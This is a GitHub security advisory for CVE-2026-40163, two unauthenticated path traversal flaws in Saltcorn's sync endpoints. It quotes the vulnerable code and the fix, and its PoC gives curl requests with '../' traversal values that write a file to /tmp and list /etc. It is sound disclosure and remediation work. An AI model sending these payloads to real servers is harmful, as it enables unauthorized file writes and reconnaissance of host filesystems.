GHSA-32PV-MPQG-H292
Vulnerability from github – Published: 2026-04-10 19:30 – Updated: 2026-04-10 19:30Summary
Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.
The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.
Details
Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)
The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir
await fs.writeFile(
path.join(syncDir, "changes.json"),
JSON.stringify(changes) // writes attacker content
);
No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.
Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)
The dir_name query parameter is used directly in path.join() without sanitization:
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);
Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.
Contrast — fixed endpoint in the same file (line 342):
The clean_sync_dir endpoint correctly uses File.normalise_in_base():
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });
PoC
# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
-H "Content-Type: application/json" \
-d '{
"newSyncTimestamp": "../../../../tmp/saltcorn_poc",
"oldSyncTimestamp": "0",
"changes": {"proof": "path_traversal_write"}
}'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content
# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"
Impact
- Unauthenticated arbitrary directory creation anywhere on the filesystem
- Unauthenticated arbitrary JSON file write (
changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories
- Unauthenticated read of specific JSON files from arbitrary directories
- Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)
Remediation
Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:
// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
syncDirName
);
if (!syncDir) {
return res.status(400).json({ error: "Invalid sync directory name" });
}
// upload_finished fix
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (!syncDir) {
return res.json({ finished: false });
}
Additionally, add loggedIn middleware to endpoints that modify server state.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0-beta.0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.0-beta.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40163"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:30:27Z",
"nvd_published_at": "2026-04-10T18:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\n\nTwo unauthenticated path traversal vulnerabilities exist in Saltcorn\u0027s mobile sync endpoints. The `POST /sync/offline_changes` endpoint allows an unauthenticated attacker to create arbitrary directories and write a `changes.json` file with attacker-controlled JSON content anywhere on the server filesystem. The `GET /sync/upload_finished` endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.\n\nThe safe path validation function `File.normalise_in_base()` exists in the codebase and is correctly used by the `clean_sync_dir` endpoint in the **same file** (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.\n\n### Details\n\n**Finding 1: Arbitrary file write \u2014 `POST /sync/offline_changes` (sync.js line 226)**\n\nThe `newSyncTimestamp` parameter from the request body is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", syncDirName\n);\nawait fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir\nawait fs.writeFile(\n path.join(syncDir, \"changes.json\"),\n JSON.stringify(changes) // writes attacker content\n);\n```\n\nNo authentication middleware is applied to this route. Since `path.join()` normalizes `../` sequences, setting `newSyncTimestamp` to `../../../../tmp/evil` causes the path to resolve outside the sync directory.\n\n**Finding 2: Arbitrary directory read \u2014 `GET /sync/upload_finished` (sync.js line 288)**\n\nThe `dir_name` query parameter is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", dir_name\n);\nlet entries = await fs.readdir(syncDir);\n```\n\nAlso unauthenticated. An attacker can list directory contents and read files named `translated-ids.json`, `unique-conflicts.json`, `data-conflicts.json`, or `error.json` from any directory.\n\n**Contrast \u2014 fixed endpoint in the same file (line 342):**\n\nThe `clean_sync_dir` endpoint correctly uses `File.normalise_in_base()`:\n\n```javascript\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (syncDir) await fs.rm(syncDir, { recursive: true, force: true });\n```\n\n### PoC\n\n```bash\n# Write arbitrary file to /tmp/\ncurl -X POST http://TARGET:3000/sync/offline_changes \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"newSyncTimestamp\": \"../../../../tmp/saltcorn_poc\",\n \"oldSyncTimestamp\": \"0\",\n \"changes\": {\"proof\": \"path_traversal_write\"}\n }\u0027\n# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content\n\n# List /etc/ directory\ncurl \"http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc\"\n```\n\n### Impact\n\n- **Unauthenticated arbitrary directory creation** anywhere on the filesystem\n- **Unauthenticated arbitrary JSON file write** (`changes.json`) to any writable directory\n- **Unauthenticated directory listing** of arbitrary directories\n- **Unauthenticated read** of specific JSON files from arbitrary directories\n- Potential for **remote code execution** via writing to sensitive paths (cron, systemd, Node.js module paths)\n\n### Remediation\n\nApply `File.normalise_in_base()` to both endpoints, matching the existing pattern in `clean_sync_dir`:\n\n```javascript\n// offline_changes fix\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n syncDirName\n);\nif (!syncDir) {\n return res.status(400).json({ error: \"Invalid sync directory name\" });\n}\n\n// upload_finished fix\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (!syncDir) {\n return res.json({ finished: false });\n}\n```\n\nAdditionally, add `loggedIn` middleware to endpoints that modify server state.",
"id": "GHSA-32pv-mpqg-h292",
"modified": "2026-04-10T19:30:27Z",
"published": "2026-04-10T19:30:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-32pv-mpqg-h292"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40163"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltcorn/saltcorn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.